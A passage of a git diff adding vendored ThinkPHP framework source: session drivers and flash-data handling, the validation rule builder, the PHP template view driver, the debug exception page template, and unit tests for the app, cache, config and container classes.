session值 + * @return void + */ + public function flash(string $name, $value): void + { + $this->set($name, $value); + $this->push('__flash__.__next__', $name); + $this->set('__flash__.__current__', Arr::except($this->get('__flash__.__current__', []), $name)); + } + + /** + * 将本次闪存数据推迟到下次请求 + * + * @return void + */ + public function reflash(): void + { + $keys = $this->get('__flash__.__current__', []); + $values = array_unique(array_merge($this->get('__flash__.__next__', []), $keys)); + $this->set('__flash__.__next__', $values); + $this->set('__flash__.__current__', []); + } + + /** + * 清空当前请求的session数据 + * @access public + * @return void + */ + public function clearFlashData(): void + { + Arr::forget($this->data, $this->get('__flash__.__current__', [])); + if (!empty($next = $this->get('__flash__.__next__', []))) { + $this->set('__flash__.__current__', $next); + } else { + $this->delete('__flash__.__current__'); + } + $this->delete('__flash__.__next__'); + } + + /** + * 序列化数据 + * @access protected + * @param mixed $data + * @return string + */ + protected function serialize($data): string + { + $serialize = $this->serialize[0] ?? 'serialize'; + + return $serialize($data); + } + + /** + * 反序列化数据 + * @access protected + * @param string $data + * @return array + */ + protected function unserialize(string $data): array + { + $unserialize = $this->serialize[1] ?? 'unserialize'; + + return (array) $unserialize($data); + } + +} diff --git a/vendor/topthink/framework/src/think/session/driver/Cache.php b/vendor/topthink/framework/src/think/session/driver/Cache.php new file mode 100644 index 0000000..c25e2ef --- /dev/null +++ b/vendor/topthink/framework/src/think/session/driver/Cache.php @@ -0,0 +1,50 @@ + +// +---------------------------------------------------------------------- +namespace think\session\driver; + +use Psr\SimpleCache\CacheInterface; +use think\contract\SessionHandlerInterface; +use think\helper\Arr; + +class Cache implements SessionHandlerInterface +{ + + /** @var CacheInterface */ + protected $handler; + + /** @var integer */ + protected $expire; + + /** @var string */ + protected $prefix; + + public function __construct(\think\Cache $cache, array $config = []) + { + $this->handler = $cache->store(Arr::get($config, 'store')); + $this->expire = Arr::get($config, 'expire', 1440); + $this->prefix = Arr::get($config, 'prefix', ''); + } + + public function read(string $sessionId): string + { + return (string) $this->handler->get($this->prefix . $sessionId); + } + + public function delete(string $sessionId): bool + { + return $this->handler->delete($this->prefix . $sessionId); + } + + public function write(string $sessionId, string $data): bool + { + return $this->handler->set($this->prefix . $sessionId, $data, $this->expire); + } +} diff --git a/vendor/topthink/framework/src/think/session/driver/File.php b/vendor/topthink/framework/src/think/session/driver/File.php new file mode 100644 index 0000000..258458a --- /dev/null +++ b/vendor/topthink/framework/src/think/session/driver/File.php @@ -0,0 +1,249 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\session\driver; + +use Closure; +use Exception; +use FilesystemIterator; +use Generator; +use SplFileInfo; +use think\App; +use think\contract\SessionHandlerInterface; + +/** + * Session 文件驱动 + */ +class File implements SessionHandlerInterface +{ + protected $config = [ + 'path' => '', + 'expire' => 1440, + 'prefix' => '', + 'data_compress' => false, + 'gc_probability' => 1, + 'gc_divisor' => 100, + ]; + + public function __construct(App $app, array $config = []) + { + $this->config = array_merge($this->config, $config); + + if (empty($this->config['path'])) { + $this->config['path'] = $app->getRuntimePath() . 'session' . DIRECTORY_SEPARATOR; + } elseif (substr($this->config['path'], -1) != DIRECTORY_SEPARATOR) { + $this->config['path'] .= DIRECTORY_SEPARATOR; + } + + $this->init(); + } + + /** + * 打开Session + * @access protected + * @throws Exception + */ + protected function init(): void + { + try { + !is_dir($this->config['path']) && mkdir($this->config['path'], 0755, true); + } catch (\Exception $e) { + // 写入失败 + } + + // 垃圾回收 + if (random_int(1, $this->config['gc_divisor']) <= $this->config['gc_probability']) { + $this->gc(); + } + } + + /** + * Session 垃圾回收 + * @access public + * @return void + */ + public function gc(): void + { + $lifetime = $this->config['expire']; + $now = time(); + + $files = $this->findFiles($this->config['path'], function (SplFileInfo $item) use ($lifetime, $now) { + return $now - $lifetime > $item->getMTime(); + }); + + foreach ($files as $file) { + $this->unlink($file->getPathname()); + } + } + + /** + * 查找文件 + * @param string $root + * @param Closure $filter + * @return Generator + */ + protected function findFiles(string $root, Closure $filter) + { + $items = new FilesystemIterator($root); + + /** @var SplFileInfo $item */ + foreach ($items as $item) { + if ($item->isDir() && !$item->isLink()) { + yield from $this->findFiles($item->getPathname(), $filter); + } else { + if ($filter($item)) { + yield $item; + } + } + } + } + + /** + * 取得变量的存储文件名 + * @access protected + * @param string $name 缓存变量名 + * @param bool $auto 是否自动创建目录 + * @return string + */ + protected function getFileName(string $name, bool $auto = false): string + { + if ($this->config['prefix']) { + // 使用子目录 + $name = $this->config['prefix'] . DIRECTORY_SEPARATOR . 'sess_' . $name; + } else { + $name = 'sess_' . $name; + } + + $filename = $this->config['path'] . $name; + $dir = dirname($filename); + + if ($auto && !is_dir($dir)) { + try { + mkdir($dir, 0755, true); + } catch (\Exception $e) { + // 创建失败 + } + } + + return $filename; + } + + /** + * 读取Session + * @access public + * @param string $sessID + * @return string + */ + public function read(string $sessID): string + { + $filename = $this->getFileName($sessID); + + if (is_file($filename) && filemtime($filename) >= time() - $this->config['expire']) { + $content = $this->readFile($filename); + + if ($this->config['data_compress'] && function_exists('gzcompress')) { + //启用数据压缩 + $content = (string) gzuncompress($content); + } + + return $content; + } + + return ''; + } + + /** + * 写文件(加锁) + * @param $path + * @param $content + * @return bool + */ + protected function writeFile($path, $content): bool + { + return (bool) file_put_contents($path, $content, LOCK_EX); + } + + /** + * 读取文件内容(加锁) + * @param $path + * @return string + */ + protected function readFile($path): string + { + $contents = ''; + + $handle = fopen($path, 'rb'); + + if ($handle) { + try { + if (flock($handle, LOCK_SH)) { + clearstatcache(true, $path); + + $contents = fread($handle, filesize($path) ?: 1); + + flock($handle, LOCK_UN); + } + } finally { + fclose($handle); + } + } + + return $contents; + } + + /** + * 写入Session + * @access public + * @param string $sessID + * @param string $sessData + * @return bool + */ + public function write(string $sessID, string $sessData): bool + { + $filename = $this->getFileName($sessID, true); + $data = $sessData; + + if ($this->config['data_compress'] && function_exists('gzcompress')) { + //数据压缩 + $data = gzcompress($data, 3); + } + + return $this->writeFile($filename, $data); + } + + /** + * 删除Session + * @access public + * @param string $sessID + * @return bool + */ + public function delete(string $sessID): bool + { + try { + return $this->unlink($this->getFileName($sessID)); + } catch (\Exception $e) { + return false; + } + } + + /** + * 判断文件是否存在后,删除 + * @access private + * @param string $file + * @return bool + */ + private function unlink(string $file): bool + { + return is_file($file) && unlink($file); + } + +} diff --git a/vendor/topthink/framework/src/think/validate/ValidateRule.php b/vendor/topthink/framework/src/think/validate/ValidateRule.php new file mode 100644 index 0000000..05e275f --- /dev/null +++ b/vendor/topthink/framework/src/think/validate/ValidateRule.php @@ -0,0 +1,172 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\validate; + +/** + * Class ValidateRule + * @package think\validate + * @method ValidateRule confirm(mixed $rule, string $msg = '') static 验证是否和某个字段的值一致 + * @method ValidateRule different(mixed $rule, string $msg = '') static 验证是否和某个字段的值是否不同 + * @method ValidateRule egt(mixed $rule, string $msg = '') static 验证是否大于等于某个值 + * @method ValidateRule gt(mixed $rule, string $msg = '') static 验证是否大于某个值 + * @method ValidateRule elt(mixed $rule, string $msg = '') static 验证是否小于等于某个值 + * @method ValidateRule lt(mixed $rule, string $msg = '') static 验证是否小于某个值 + * @method ValidateRule eg(mixed $rule, string $msg = '') static 验证是否等于某个值 + * @method ValidateRule in(mixed $rule, string $msg = '') static 验证是否在范围内 + * @method ValidateRule notIn(mixed $rule, string $msg = '') static 验证是否不在某个范围 + * @method ValidateRule between(mixed $rule, string $msg = '') static 验证是否在某个区间 + * @method ValidateRule notBetween(mixed $rule, string $msg = '') static 验证是否不在某个区间 + * @method ValidateRule length(mixed $rule, string $msg = '') static 验证数据长度 + * @method ValidateRule max(mixed $rule, string $msg = '') static 验证数据最大长度 + * @method ValidateRule min(mixed $rule, string $msg = '') static 验证数据最小长度 + * @method ValidateRule after(mixed $rule, string $msg = '') static 验证日期 + * @method ValidateRule before(mixed $rule, string $msg = '') static 验证日期 + * @method ValidateRule expire(mixed $rule, string $msg = '') static 验证有效期 + * @method ValidateRule allowIp(mixed $rule, string $msg = '') static 验证IP许可 + * @method ValidateRule denyIp(mixed $rule, string $msg = '') static 验证IP禁用 + * @method ValidateRule regex(mixed $rule, string $msg = '') static 使用正则验证数据 + * @method ValidateRule token(mixed $rule='__token__', string $msg = '') static 验证表单令牌 + * @method ValidateRule is(mixed $rule, string $msg = '') static 验证字段值是否为有效格式 + * @method ValidateRule isRequire(mixed $rule = null, string $msg = '') static 验证字段必须 + * @method ValidateRule isNumber(mixed $rule = null, string $msg = '') static 验证字段值是否为数字 + * @method ValidateRule isArray(mixed $rule = null, string $msg = '') static 验证字段值是否为数组 + * @method ValidateRule isInteger(mixed $rule = null, string $msg = '') static 验证字段值是否为整形 + * @method ValidateRule isFloat(mixed $rule = null, string $msg = '') static 验证字段值是否为浮点数 + * @method ValidateRule isMobile(mixed $rule = null, string $msg = '') static 验证字段值是否为手机 + * @method ValidateRule isIdCard(mixed $rule = null, string $msg = '') static 验证字段值是否为身份证号码 + * @method ValidateRule isChs(mixed $rule = null, string $msg = '') static 验证字段值是否为中文 + * @method ValidateRule isChsDash(mixed $rule = null, string $msg = '') static 验证字段值是否为中文字母及下划线 + * @method ValidateRule isChsAlpha(mixed $rule = null, string $msg = '') static 验证字段值是否为中文和字母 + * @method ValidateRule isChsAlphaNum(mixed $rule = null, string $msg = '') static 验证字段值是否为中文字母和数字 + * @method ValidateRule isDate(mixed $rule = null, string $msg = '') static 验证字段值是否为有效格式 + * @method ValidateRule isBool(mixed $rule = null, string $msg = '') static 验证字段值是否为布尔值 + * @method ValidateRule isAlpha(mixed $rule = null, string $msg = '') static 验证字段值是否为字母 + * @method ValidateRule isAlphaDash(mixed $rule = null, string $msg = '') static 验证字段值是否为字母和下划线 + * @method ValidateRule isAlphaNum(mixed $rule = null, string $msg = '') static 验证字段值是否为字母和数字 + * @method ValidateRule isAccepted(mixed $rule = null, string $msg = '') static 验证字段值是否为yes, on, 或是 1 + * @method ValidateRule isEmail(mixed $rule = null, string $msg = '') static 验证字段值是否为有效邮箱格式 + * @method ValidateRule isUrl(mixed $rule = null, string $msg = '') static 验证字段值是否为有效URL地址 + * @method ValidateRule activeUrl(mixed $rule, string $msg = '') static 验证是否为合格的域名或者IP + * @method ValidateRule ip(mixed $rule, string $msg = '') static 验证是否有效IP + * @method ValidateRule fileExt(mixed $rule, string $msg = '') static 验证文件后缀 + * @method ValidateRule fileMime(mixed $rule, string $msg = '') static 验证文件类型 + * @method ValidateRule fileSize(mixed $rule, string $msg = '') static 验证文件大小 + * @method ValidateRule image(mixed $rule, string $msg = '') static 验证图像文件 + * @method ValidateRule method(mixed $rule, string $msg = '') static 验证请求类型 + * @method ValidateRule dateFormat(mixed $rule, string $msg = '') static 验证时间和日期是否符合指定格式 + * @method ValidateRule unique(mixed $rule, string $msg = '') static 验证是否唯一 + * @method ValidateRule behavior(mixed $rule, string $msg = '') static 使用行为类验证 + * @method ValidateRule filter(mixed $rule, string $msg = '') static 使用filter_var方式验证 + * @method ValidateRule requireIf(mixed $rule, string $msg = '') static 验证某个字段等于某个值的时候必须 + * @method ValidateRule requireCallback(mixed $rule, string $msg = '') static 通过回调方法验证某个字段是否必须 + * @method ValidateRule requireWith(mixed $rule, string $msg = '') static 验证某个字段有值的情况下必须 + * @method ValidateRule must(mixed $rule = null, string $msg = '') static 必须验证 + */ +class ValidateRule +{ + // 验证字段的名称 + protected $title; + + // 当前验证规则 + protected $rule = []; + + // 验证提示信息 + protected $message = []; + + /** + * 添加验证因子 + * @access protected + * @param string $name 验证名称 + * @param mixed $rule 验证规则 + * @param string $msg 提示信息 + * @return $this + */ + protected function addItem(string $name, $rule = null, string $msg = '') + { + if ($rule || 0 === $rule) { + $this->rule[$name] = $rule; + } else { + $this->rule[] = $name; + } + + $this->message[] = $msg; + + return $this; + } + + /** + * 获取验证规则 + * @access public + * @return array + */ + public function getRule(): array + { + return $this->rule; + } + + /** + * 获取验证字段名称 + * @access public + * @return string + */ + public function getTitle(): string + { + return $this->title ?: ''; + } + + /** + * 获取验证提示 + * @access public + * @return array + */ + public function getMsg(): array + { + return $this->message; + } + + /** + * 设置验证字段名称 + * @access public + * @return $this + */ + public function title(string $title) + { + $this->title = $title; + + return $this; + } + + public function __call($method, $args) + { + if ('is' == strtolower(substr($method, 0, 2))) { + $method = substr($method, 2); + } + + array_unshift($args, lcfirst($method)); + + return call_user_func_array([$this, 'addItem'], $args); + } + + public static function __callStatic($method, $args) + { + $rule = new static(); + + if ('is' == strtolower(substr($method, 0, 2))) { + $method = substr($method, 2); + } + + array_unshift($args, lcfirst($method)); + + return call_user_func_array([$rule, 'addItem'], $args); + } +} diff --git a/vendor/topthink/framework/src/think/view/driver/Php.php b/vendor/topthink/framework/src/think/view/driver/Php.php new file mode 100644 index 0000000..0713a56 --- /dev/null +++ b/vendor/topthink/framework/src/think/view/driver/Php.php @@ -0,0 +1,191 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\view\driver; + +use RuntimeException; +use think\App; +use think\contract\TemplateHandlerInterface; +use think\helper\Str; + +/** + * PHP原生模板驱动 + */ +class Php implements TemplateHandlerInterface +{ + protected $template; + protected $content; + protected $app; + + // 模板引擎参数 + protected $config = [ + // 默认模板渲染规则 1 解析为小写+下划线 2 全部转换小写 3 保持操作方法 + 'auto_rule' => 1, + // 视图目录名 + 'view_dir_name' => 'view', + // 应用模板路径 + 'view_path' => '', + // 模板文件后缀 + 'view_suffix' => 'php', + // 模板文件名分隔符 + 'view_depr' => DIRECTORY_SEPARATOR, + ]; + + public function __construct(App $app, array $config = []) + { + $this->app = $app; + $this->config = array_merge($this->config, (array) $config); + } + + /** + * 检测是否存在模板文件 + * @access public + * @param string $template 模板文件或者模板规则 + * @return bool + */ + public function exists(string $template): bool + { + if ('' == pathinfo($template, PATHINFO_EXTENSION)) { + // 获取模板文件名 + $template = $this->parseTemplate($template); + } + + return is_file($template); + } + + /** + * 渲染模板文件 + * @access public + * @param string $template 模板文件 + * @param array $data 模板变量 + * @return void + */ + public function fetch(string $template, array $data = []): void + { + if ('' == pathinfo($template, PATHINFO_EXTENSION)) { + // 获取模板文件名 + $template = $this->parseTemplate($template); + } + + // 模板不存在 抛出异常 + if (!is_file($template)) { + throw new RuntimeException('template not exists:' . $template); + } + + $this->template = $template; + + extract($data, EXTR_OVERWRITE); + + include $this->template; + } + + /** + * 渲染模板内容 + * @access public + * @param string $content 模板内容 + * @param array $data 模板变量 + * @return void + */ + public function display(string $content, array $data = []): void + { + $this->content = $content; + + extract($data, EXTR_OVERWRITE); + eval('?>' . $this->content); + } + + /** + * 自动定位模板文件 + * @access private + * @param string $template 模板文件规则 + * @return string + */ + private function parseTemplate(string $template): string + { + $request = $this->app->request; + + // 获取视图根目录 + if (strpos($template, '@')) { + // 跨应用调用 + [$app, $template] = explode('@', $template); + } + + if ($this->config['view_path'] && !isset($app)) { + $path = $this->config['view_path']; + } else { + $appName = isset($app) ? $app : $this->app->http->getName(); + $view = $this->config['view_dir_name']; + + if (is_dir($this->app->getAppPath() . $view)) { + $path = isset($app) ? $this->app->getBasePath() . ($appName ? $appName . DIRECTORY_SEPARATOR : '') . $view . DIRECTORY_SEPARATOR : $this->app->getAppPath() . $view . DIRECTORY_SEPARATOR; + } else { + $path = $this->app->getRootPath() . $view . DIRECTORY_SEPARATOR . ($appName ? $appName . DIRECTORY_SEPARATOR : ''); + } + } + + $depr = $this->config['view_depr']; + + if (0 !== strpos($template, '/')) { + $template = str_replace(['/', ':'], $depr, $template); + $controller = $request->controller(); + if (strpos($controller, '.')) { + $pos = strrpos($controller, '.'); + $controller = substr($controller, 0, $pos) . '.' . Str::snake(substr($controller, $pos + 1)); + } else { + $controller = Str::snake($controller); + } + + if ($controller) { + if ('' == $template) { + // 如果模板文件名为空 按照默认规则定位 + if (2 == $this->config['auto_rule']) { + $template = $request->action(true); + } elseif (3 == $this->config['auto_rule']) { + $template = $request->action(); + } else { + $template = Str::snake($request->action()); + } + + $template = str_replace('.', DIRECTORY_SEPARATOR, $controller) . $depr . $template; + } elseif (false === strpos($template, $depr)) { + $template = str_replace('.', DIRECTORY_SEPARATOR, $controller) . $depr . $template; + } + } + } else { + $template = str_replace(['/', ':'], $depr, substr($template, 1)); + } + + return $path . ltrim($template, '/') . '.' . ltrim($this->config['view_suffix'], '.'); + } + + /** + * 配置模板引擎 + * @access private + * @param array $config 参数 + * @return void + */ + public function config(array $config): void + { + $this->config = array_merge($this->config, $config); + } + + /** + * 获取模板引擎配置 + * @access public + * @param string $name 参数名 + * @return mixed + */ + public function getConfig(string $name) + { + return $this->config[$name] ?? null; + } +} diff --git a/vendor/topthink/framework/src/tpl/think_exception.tpl b/vendor/topthink/framework/src/tpl/think_exception.tpl new file mode 100644 index 0000000..7766caf --- /dev/null +++ b/vendor/topthink/framework/src/tpl/think_exception.tpl @@ -0,0 +1,502 @@ +'.end($names).''; + } +} + +if (!function_exists('parse_file')) { + function parse_file($file, $line) + { + return ''.basename($file)." line {$line}".''; + } +} + +if (!function_exists('parse_args')) { + function parse_args($args) + { + $result = []; + foreach ($args as $key => $item) { + switch (true) { + case is_object($item): + $value = sprintf('object(%s)', parse_class(get_class($item))); + break; + case is_array($item): + if (count($item) > 3) { + $value = sprintf('[%s, ...]', parse_args(array_slice($item, 0, 3))); + } else { + $value = sprintf('[%s]', parse_args($item)); + } + break; + case is_string($item): + if (strlen($item) > 20) { + $value = sprintf( + '\'%s...\'', + htmlentities($item), + htmlentities(substr($item, 0, 20)) + ); + } else { + $value = sprintf("'%s'", htmlentities($item)); + } + break; + case is_int($item): + case is_float($item): + $value = $item; + break; + case is_null($item): + $value = 'null'; + break; + case is_bool($item): + $value = '' . ($item ? 'true' : 'false') . ''; + break; + case is_resource($item): + $value = 'resource'; + break; + default: + $value = htmlentities(str_replace("\n", '', var_export(strval($item), true))); + break; + } + + $result[] = is_int($key) ? $value : "'{$key}' => {$value}"; + } + + return implode(', ', $result); + } +} +if (!function_exists('echo_value')) { + function echo_value($val) + { + if (is_array($val) || is_object($val)) { + echo htmlentities(json_encode($val, JSON_PRETTY_PRINT)); + } elseif (is_bool($val)) { + echo $val ? 'true' : 'false'; + } elseif (is_scalar($val)) { + echo htmlentities($val); + } else { + echo 'Resource'; + } + } +} +?> + + + + + 系统发生错误 + + + + + + $trace) { ?> +
    +
    +
    +
    +

    +
    +

    +
    +
    + +
    +
      $value) { ?>
    1. ">
    +
    + +
    +

    Call Stack

    +
      +
    1. + +
    2. + +
    3. + +
    +
    +
    + + +
    +

    +
    + + + +
    +

    Exception Datas

    + $value) { ?> + + + + + + + $val) { ?> + + + + + + + +
    empty
    + +
    + + + +
    +

    Environment Variables

    + $value) { ?> + + + + + + + $val) { ?> + + + + + + + +
    empty
    + +
    + + + + + + + + diff --git a/vendor/topthink/framework/tests/AppTest.php b/vendor/topthink/framework/tests/AppTest.php new file mode 100644 index 0000000..6b86015 --- /dev/null +++ b/vendor/topthink/framework/tests/AppTest.php @@ -0,0 +1,215 @@ + 'class', + ]; + + public function register() + { + + } + + public function boot() + { + + } +} + +/** + * @property array initializers + */ +class AppTest extends TestCase +{ + /** @var App */ + protected $app; + + protected function setUp() + { + $this->app = new App(); + } + + protected function tearDown(): void + { + m::close(); + } + + public function testService() + { + $this->app->register(stdClass::class); + + $this->assertInstanceOf(stdClass::class, $this->app->getService(stdClass::class)); + + $service = m::mock(SomeService::class); + + $service->shouldReceive('register')->once(); + + $this->app->register($service); + + $this->assertEquals($service, $this->app->getService(SomeService::class)); + + $service2 = m::mock(SomeService::class); + + $service2->shouldReceive('register')->once(); + + $this->app->register($service2); + + $this->assertEquals($service, $this->app->getService(SomeService::class)); + + $this->app->register($service2, true); + + $this->assertEquals($service2, $this->app->getService(SomeService::class)); + + $service->shouldReceive('boot')->once(); + $service2->shouldReceive('boot')->once(); + + $this->app->boot(); + } + + public function testDebug() + { + $this->app->debug(false); + + $this->assertFalse($this->app->isDebug()); + + $this->app->debug(true); + + $this->assertTrue($this->app->isDebug()); + } + + public function testNamespace() + { + $namespace = 'test'; + + $this->app->setNamespace($namespace); + + $this->assertEquals($namespace, $this->app->getNamespace()); + } + + public function testVersion() + { + $this->assertEquals(App::VERSION, $this->app->version()); + } + + public function testPath() + { + $rootPath = __DIR__ . DIRECTORY_SEPARATOR; + + $app = new App($rootPath); + + $this->assertEquals($rootPath, $app->getRootPath()); + + $this->assertEquals(dirname(__DIR__) . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR, $app->getThinkPath()); + + $this->assertEquals($rootPath . 'app' . DIRECTORY_SEPARATOR, $app->getAppPath()); + + $appPath = $rootPath . 'app' . DIRECTORY_SEPARATOR . 'admin' . DIRECTORY_SEPARATOR; + $app->setAppPath($appPath); + $this->assertEquals($appPath, $app->getAppPath()); + + $this->assertEquals($rootPath . 'app' . DIRECTORY_SEPARATOR, $app->getBasePath()); + + $this->assertEquals($rootPath . 'config' . DIRECTORY_SEPARATOR, $app->getConfigPath()); + + $this->assertEquals($rootPath . 'runtime' . DIRECTORY_SEPARATOR, $app->getRuntimePath()); + + $runtimePath = $rootPath . 'runtime' . DIRECTORY_SEPARATOR . 'admin' . DIRECTORY_SEPARATOR; + $app->setRuntimePath($runtimePath); + $this->assertEquals($runtimePath, $app->getRuntimePath()); + } + + /** + * @param vfsStreamDirectory $root + * @param bool $debug + * @return App + */ + protected function prepareAppForInitialize(vfsStreamDirectory $root, $debug = true) + { + $rootPath = $root->url() . DIRECTORY_SEPARATOR; + + $app = new App($rootPath); + + $initializer = m::mock(); + $initializer->shouldReceive('init')->once()->with($app); + + $app->instance($initializer->mockery_getName(), $initializer); + + (function () use ($initializer) { + $this->initializers = [$initializer->mockery_getName()]; + })->call($app); + + $env = m::mock(Env::class); + $env->shouldReceive('load')->once()->with($rootPath . '.env'); + $env->shouldReceive('get')->once()->with('config_ext', '.php')->andReturn('.php'); + $env->shouldReceive('get')->once()->with('app_debug')->andReturn($debug); + + $event = m::mock(Event::class); + $event->shouldReceive('trigger')->once()->with(AppInit::class); + $event->shouldReceive('bind')->once()->with([]); + $event->shouldReceive('listenEvents')->once()->with([]); + $event->shouldReceive('subscribe')->once()->with([]); + + $app->instance('env', $env); + $app->instance('event', $event); + + return $app; + } + + public function testInitialize() + { + $root = vfsStream::setup('rootDir', null, [ + '.env' => '', + 'app' => [ + 'common.php' => '', + 'event.php' => '[],"listen"=>[],"subscribe"=>[]];', + 'provider.php' => ' [ + 'app.php' => 'prepareAppForInitialize($root, true); + + $app->debug(false); + + $app->initialize(); + + $this->assertIsInt($app->getBeginMem()); + $this->assertIsFloat($app->getBeginTime()); + + $this->assertTrue($app->initialized()); + } + + public function testFactory() + { + $this->assertInstanceOf(stdClass::class, App::factory(stdClass::class)); + + $this->expectException(ClassNotFoundException::class); + + App::factory('SomeClass'); + } + + public function testParseClass() + { + $this->assertEquals('app\\controller\\SomeClass', $this->app->parseClass('controller', 'some_class')); + $this->app->setNamespace('app2'); + $this->assertEquals('app2\\controller\\SomeClass', $this->app->parseClass('controller', 'some_class')); + } + +} diff --git a/vendor/topthink/framework/tests/CacheTest.php b/vendor/topthink/framework/tests/CacheTest.php new file mode 100644 index 0000000..5b5a13c --- /dev/null +++ b/vendor/topthink/framework/tests/CacheTest.php @@ -0,0 +1,149 @@ +app = m::mock(App::class)->makePartial(); + + Container::setInstance($this->app); + $this->app->shouldReceive('make')->with(App::class)->andReturn($this->app); + $this->config = m::mock(Config::class)->makePartial(); + $this->app->shouldReceive('get')->with('config')->andReturn($this->config); + + $this->cache = new Cache($this->app); + } + + public function testGetConfig() + { + $config = [ + 'default' => 'file', + ]; + + $this->config->shouldReceive('get')->with('cache')->andReturn($config); + + $this->assertEquals($config, $this->cache->getConfig()); + + $this->expectException(InvalidArgumentException::class); + $this->cache->getStoreConfig('foo'); + } + + public function testCacheManagerInstances() + { + $this->config->shouldReceive('get')->with("cache.stores.single", null)->andReturn(['type' => 'file']); + + $channel1 = $this->cache->store('single'); + $channel2 = $this->cache->store('single'); + + $this->assertSame($channel1, $channel2); + } + + public function testFileCache() + { + $root = vfsStream::setup(); + + $this->config->shouldReceive('get')->with("cache.default", null)->andReturn('file'); + + $this->config->shouldReceive('get')->with("cache.stores.file", null)->andReturn(['type' => 'file', 'path' => $root->url()]); + + $this->cache->set('foo', 5); + $this->cache->inc('foo'); + $this->assertEquals(6, $this->cache->get('foo')); + $this->cache->dec('foo', 2); + $this->assertEquals(4, $this->cache->get('foo')); + + $this->cache->set('bar', true); + $this->assertTrue($this->cache->get('bar')); + + $this->cache->set('baz', null); + $this->assertNull($this->cache->get('baz')); + + $this->assertTrue($this->cache->has('baz')); + $this->cache->delete('baz'); + $this->assertFalse($this->cache->has('baz')); + $this->assertNull($this->cache->get('baz')); + $this->assertFalse($this->cache->get('baz', false)); + + $this->assertTrue($root->hasChildren()); + $this->cache->clear(); + $this->assertFalse($root->hasChildren()); + + //tags + $this->cache->tag('foo')->set('bar', 'foobar'); + $this->assertEquals('foobar', $this->cache->get('bar')); + $this->cache->tag('foo')->clear(); + $this->assertFalse($this->cache->has('bar')); + + //multiple + $this->cache->setMultiple(['foo' => ['foobar', 'bar'], 'foobar' => ['foo', 'bar']]); + $this->assertEquals(['foo' => ['foobar', 'bar'], 'foobar' => ['foo', 'bar']], $this->cache->getMultiple(['foo', 'foobar'])); + $this->assertTrue($this->cache->deleteMultiple(['foo', 'foobar'])); + } + + public function testRedisCache() + { + if (extension_loaded('redis')) { + return; + } + $this->config->shouldReceive('get')->with("cache.default", null)->andReturn('redis'); + $this->config->shouldReceive('get')->with("cache.stores.redis", null)->andReturn(['type' => 'redis']); + + $redis = m::mock('overload:\Predis\Client'); + + $redis->shouldReceive("set")->once()->with('foo', 5)->andReturnTrue(); + $redis->shouldReceive("incrby")->once()->with('foo', 1)->andReturnTrue(); + $redis->shouldReceive("decrby")->once()->with('foo', 2)->andReturnTrue(); + $redis->shouldReceive("get")->once()->with('foo')->andReturn('6'); + $redis->shouldReceive("get")->once()->with('foo')->andReturn('4'); + $redis->shouldReceive("set")->once()->with('bar', serialize(true))->andReturnTrue(); + $redis->shouldReceive("set")->once()->with('baz', serialize(null))->andReturnTrue(); + $redis->shouldReceive("del")->once()->with('baz')->andReturnTrue(); + $redis->shouldReceive("flushDB")->once()->andReturnTrue(); + $redis->shouldReceive("set")->once()->with('bar', serialize('foobar'))->andReturnTrue(); + $redis->shouldReceive("sAdd")->once()->with('tag:' . md5('foo'), 'bar')->andReturnTrue(); + $redis->shouldReceive("sMembers")->once()->with('tag:' . md5('foo'))->andReturn(['bar']); + $redis->shouldReceive("del")->once()->with(['bar'])->andReturnTrue(); + $redis->shouldReceive("del")->once()->with('tag:' . md5('foo'))->andReturnTrue(); + + $this->cache->set('foo', 5); + $this->cache->inc('foo'); + $this->assertEquals(6, $this->cache->get('foo')); + $this->cache->dec('foo', 2); + $this->assertEquals(4, $this->cache->get('foo')); + + $this->cache->set('bar', true); + $this->cache->set('baz', null); + $this->cache->delete('baz'); + $this->cache->clear(); + + //tags + $this->cache->tag('foo')->set('bar', 'foobar'); + $this->cache->tag('foo')->clear(); + } +} diff --git a/vendor/topthink/framework/tests/ConfigTest.php b/vendor/topthink/framework/tests/ConfigTest.php new file mode 100644 index 0000000..271a34f --- /dev/null +++ b/vendor/topthink/framework/tests/ConfigTest.php @@ -0,0 +1,46 @@ +setContent(" 'value1','key2'=>'value2'];"); + $root->addChild($file); + + $config = new Config(); + + $config->load($file->url(), 'test'); + + $this->assertEquals('value1', $config->get('test.key1')); + $this->assertEquals('value2', $config->get('test.key2')); + + $this->assertSame(['key1' => 'value1', 'key2' => 'value2'], $config->get('test')); + } + + public function testSetAndGet() + { + $config = new Config(); + + $config->set([ + 'key1' => 'value1', + 'key2' => [ + 'key3' => 'value3', + ], + ], 'test'); + + $this->assertTrue($config->has('test.key1')); + $this->assertEquals('value1', $config->get('test.key1')); + $this->assertEquals('value3', $config->get('test.key2.key3')); + + $this->assertEquals(['key3' => 'value3'], $config->get('test.key2')); + $this->assertFalse($config->has('test.key3')); + $this->assertEquals('none', $config->get('test.key3', 'none')); + } +} diff --git a/vendor/topthink/framework/tests/ContainerTest.php b/vendor/topthink/framework/tests/ContainerTest.php new file mode 100644 index 0000000..e27deb0 --- /dev/null +++ b/vendor/topthink/framework/tests/ContainerTest.php @@ -0,0 +1,314 @@ +name = $name; + } + + public function some(Container $container) + { + } + + protected function protectionFun() + { + return true; + } + + public static function test(Container $container) + { + return $container; + } + + public static function __make() + { + return new self('Taylor'); + } +} + +class SomeClass +{ + public $container; + + public $count = 0; + + public function __construct(Container $container) + { + $this->container = $container; + } +} + +class ContainerTest extends TestCase +{ + protected function tearDown(): void + { + Container::setInstance(null); + } + + public function testClosureResolution() + { + $container = new Container; + + Container::setInstance($container); + + $container->bind('name', function () { + return 'Taylor'; + }); + + $this->assertEquals('Taylor', $container->make('name')); + + $this->assertEquals('Taylor', Container::pull('name')); + } + + public function testGet() + { + $container = new Container; + + $this->expectException(ClassNotFoundException::class); + $this->expectExceptionMessage('class not exists: name'); + $container->get('name'); + + $container->bind('name', function () { + return 'Taylor'; + }); + + $this->assertSame('Taylor', $container->get('name')); + } + + public function testExist() + { + $container = new Container; + + $container->bind('name', function () { + return 'Taylor'; + }); + + $this->assertFalse($container->exists("name")); + + $container->make('name'); + + $this->assertTrue($container->exists('name')); + } + + public function testInstance() + { + $container = new Container; + + $container->bind('name', function () { + return 'Taylor'; + }); + + $this->assertEquals('Taylor', $container->get('name')); + + $container->bind('name2', Taylor::class); + + $object = new stdClass(); + + $this->assertFalse($container->exists('name2')); + + $container->instance('name2', 